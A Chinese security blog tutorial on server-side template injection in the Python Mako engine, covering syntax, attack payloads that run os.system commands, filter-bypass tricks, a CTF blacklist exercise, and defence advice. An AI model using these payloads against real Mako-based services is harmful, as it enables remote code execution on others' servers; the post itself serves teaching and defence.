SecMap - SSTI(mako)

本文最后更新于:2022年10月14日 上午

SecMap 系列之 SSTI(mako),继续冲鸭!预祝各位五一快乐!

SSTI(Server-Side Template Injection)服务端模板注入。

上一篇我们介绍了 jinja2 的 SSTI,SSTI 具体的定义就不啰嗦了。

mako 的一些设计和使用方式与 jinja2 是非常相似的,截止目前(2022),主流的模板语言就是 jinja2 和 mako。所以这篇就开门见山地来介绍下 mako 的 SSTI。

注:本文基本上都是 py3.x 的环境。

介绍

mako 是 Pylons 的默认模板语言,它们之间的关系与 jinja2 和 flask 的关系类似。

首先还是先了解下语法规则。

依旧推荐官方文档,见资料 1

mako 语法

作为一门模板语言,肯定有自己的一套语法规则。

基础语法

mako 的基础语法规则一共 3 种:

  1. 变量取值:${ },比如输入 1+12*2,或者是字符串、调用对象的方法,都会渲染出执行的结果
  2. 控制结构:%for ... : %endfor%if ... : ... %elif: ... % else: ... %endif
  3. Python 代码块:<% ... %>
  4. 导入模块:在代码块的基础上加一个感叹号 <%! ... %>
  5. 定义函数:<%def name="..." > ... </%def>,调用:${...()}
  6. 注释:##(单行)、<%doc>(多行)
  7. 其他:
    1. 继承模板:<%inherit ... />
    2. 包含模板:<%include ... />,引用:<%page ... />
    3. 还有很多,不列举了,见:资料 2,在实际的利用过程中用到的比较少,业务上可能比较多。
  8. 可以看到上面非常依赖 %,如果非要用到 %,需要写成 %%

对于常用的语法,看一个例子就懂了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from mako.template import Template

tp = Template('''## 这是一个注释
<%def name="my_range(n)" > <% return list(range(n))%> </%def>

<% c = 5 %>

% for i in my_range(c)+a:
%if i % 2:
${ i }
%endif
% endfor
''')

print(tp.render(a = [5, 6, 7, 8, 9]))

结果就是输出 1、3、5、7、9

另外,mako 还有一个值得一提的特殊语法:过滤器

过滤器

官方文档见资料 3

单个过滤器的使用和 jinja2 一样很像,都是用 | 来引用。如果要使用多个过滤器,mako 需要用 , 来指定:${" <tag>some value</tag> " | h,trim}

要定义自己的过滤器也比较简单,不需要和 jinj2 一样操作 environment,只需要定义一个函数即可使用:

1
2
3
4
5
6
7
8
9
<%!
import myfilters

def myescape(text):
return "<TAG>" + text + "</TAG>"
%>

Here's some tagged text: ${"text" | myescape}
Here's some tagged text: ${"text" | myfilters.myescape}

非常优雅。

SSTI in mako

攻击思路

可以看到,mako 本身可以完美支持 Python 语句,所以利用 <% %><%! %>${} 可以非常轻松地进行攻击,例如:

1
2
3
4
5
6
7
8
9
10
11
12
<%!
import os
os.system("whoami")
%>

# 或者

<%__import__("os").system("whoami")%>

# 或者

${__import__("os").system("whoami")}

其中 ${ } 与 jinja2 的 {{ }} 比较类似,但由于 mako 直接支持 Python 语法,所以 ${ } 可以直接使用内置函数,例如 dir。更不用说还有 <% %><%! %> 了。

当然控制结构 %for ... : %endfor%if ... : ... %elif: ... % else: ... %endif 也是 ok 的。

所以 mako 的 SSTI 手法基本上兼容 jinja2 的 SSTI 手法,可以说思路灵活得多。

bypass 思路

“常规” 思路

目前我还没遇到过滤很严格的情况。我感觉大部分过滤技巧都可以参考 jinja2 的技巧(见资料 5)或者是 Python 沙箱逃逸(见资料 6)的技巧。为了避免有水字数的嫌疑,我就不赘述了

mako 有的特殊姿势

mako 引入了新的默认变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
In [57]: Template("${ locals() }").render()
Out[57]: """
{
'context': <mako.runtime.Context object at 0x7fd5e8af99d0>,
'pageargs': {},
'__M_caller': None,
'__M_locals': {
'pageargs': {}
},
'locals': <built-in function locals>,
'__M_writer': <built-in method append of collections.deque object at 0x7fd5c8013ac0>
}
"""

其中比较关键的有:

  1. locals:这个就是 locals
  2. context:见资料 4
  3. __M_writer:与 print 类似,可以直接打印字符串
  4. pageargsrender 里的参数会在这里面

如果在遇到无回显的场景,就可以用 __M_writercontext.write 尝打印。

例如:

1
2
3
4
5
6
7
8
9
from mako.template import Template

tp = Template('''
%for i in x:
"a"
%endfor
''')

print(tp.render())

其中 x 是注入点。

那么我们就可以用 str(__M_writer(str(__import__("os").system("id")))) 来实现回显。当然,盲注或者弹 shell 也是 ok 的。

还有一种类型的利用 context.kwargs 来获取上下文环境中传递的值。例如一个 web 接口有用到 mako,且有一个参数 name,那么可以直接在模板中使用这个变量名,这个时候通常需要 eval 下。

课后题

mako 的 CTF 很少,我只见过一道,就是今年 2022-susctf 的 HTML practice。

这道题首先需要 fuzz 出模板类型,这一步只能靠经验了。

得出是 mako 之后,还可以得到黑名单:

1
2
3
%>  />  _  +  $  [  '  "
chr ord hex eval exce
...

所以 ${ }<% %><%! %> 都不行,那么用控制结构来调用命令语句即可。这道题是没回显的,需要回显的话,可以用上文说到的办法来玩。这道题由于过滤的是 eval,有需要的话我们就可以用修饰字符绕过字符过滤,ᵉᵥᵃˡ

当然,这个技巧也在 Python 沙箱逃逸中介绍过了。

dibber

从 Python 沙箱逃逸,到 Python 反序列化(见资料 8),到 jinja2 的 SSTI,再到 mako 的 SSTI,可以发现我们常常需要去搜索可以利用的攻击链。假设给定一个对象 [],如何通过 mro 搜到 os 模块呢?

我以前的做法就是用 dir 来找疑似高危的模块,然后进一步分析是否有引入 os 模块。这样效率太低了。所以我写了一个自动搜索的工具,叫 dibber

目前已经可以支持 原始的 Python 代码、jinja2、mako 这三种形式的搜索,例如 mako 的 context,深度设定为 4,就可以得到以下结果:

如果遇到其他模板,或者是想搜索其他模块、函数,也可自行添加插件。感兴趣的橘友们可以试试,见资料 7

防御

相比于 jinja2 来说,使用 mako 肯定更爽,因为可以随意在模板中插入 Python。但是,攻击者也很爽。

并且对比于 jinja2 来说,jinja2 有沙箱模式,mako 没有,所以在安全性上来说,mako 用起来更加危险。所以还是不要让模板对用户可控了吧。如果非要这样的话,可以用 render 参数来传递给模板,不要直接做拼接。

资料

  1. mako 官方文档
    https://docs.makotemplates.org/en/latest/
  2. mako 标签
    https://docs.makotemplates.org/en/latest/syntax.html#tags
  3. mako 过滤器
    https://docs.makotemplates.org/en/latest/filtering.html
  4. mako context 文档
    https://docs.makotemplates.org/en/latest/runtime.html#context
  5. SSTI-jinja2
    https://www.tr0y.wang/2022/04/13/SecMap-SSTI-jinja2/
  6. Python 沙箱逃逸经验总结
    https://www.tr0y.wang/2019/05/06/Python沙箱逃逸经验总结/
  7. dibber
    https://github.com/Macr0phag3/dibber
  8. Python 反序列化
    https://www.tr0y.wang/2022/02/03/SecMap-unserialize-python/

下期应该是 flask 相关的知识点

这段时间大家都好难啊...
又是疫情,又是股灾的...
还好快放假了,有了一些喘息的时间
提前祝各位五一快乐!!!


SecMap - SSTI(mako)
https://www.tr0y.wang/2022/04/29/SecMap-SSTI-mako/
作者
Tr0y
发布于
2022年4月29日
更新于
2022年10月14日
许可协议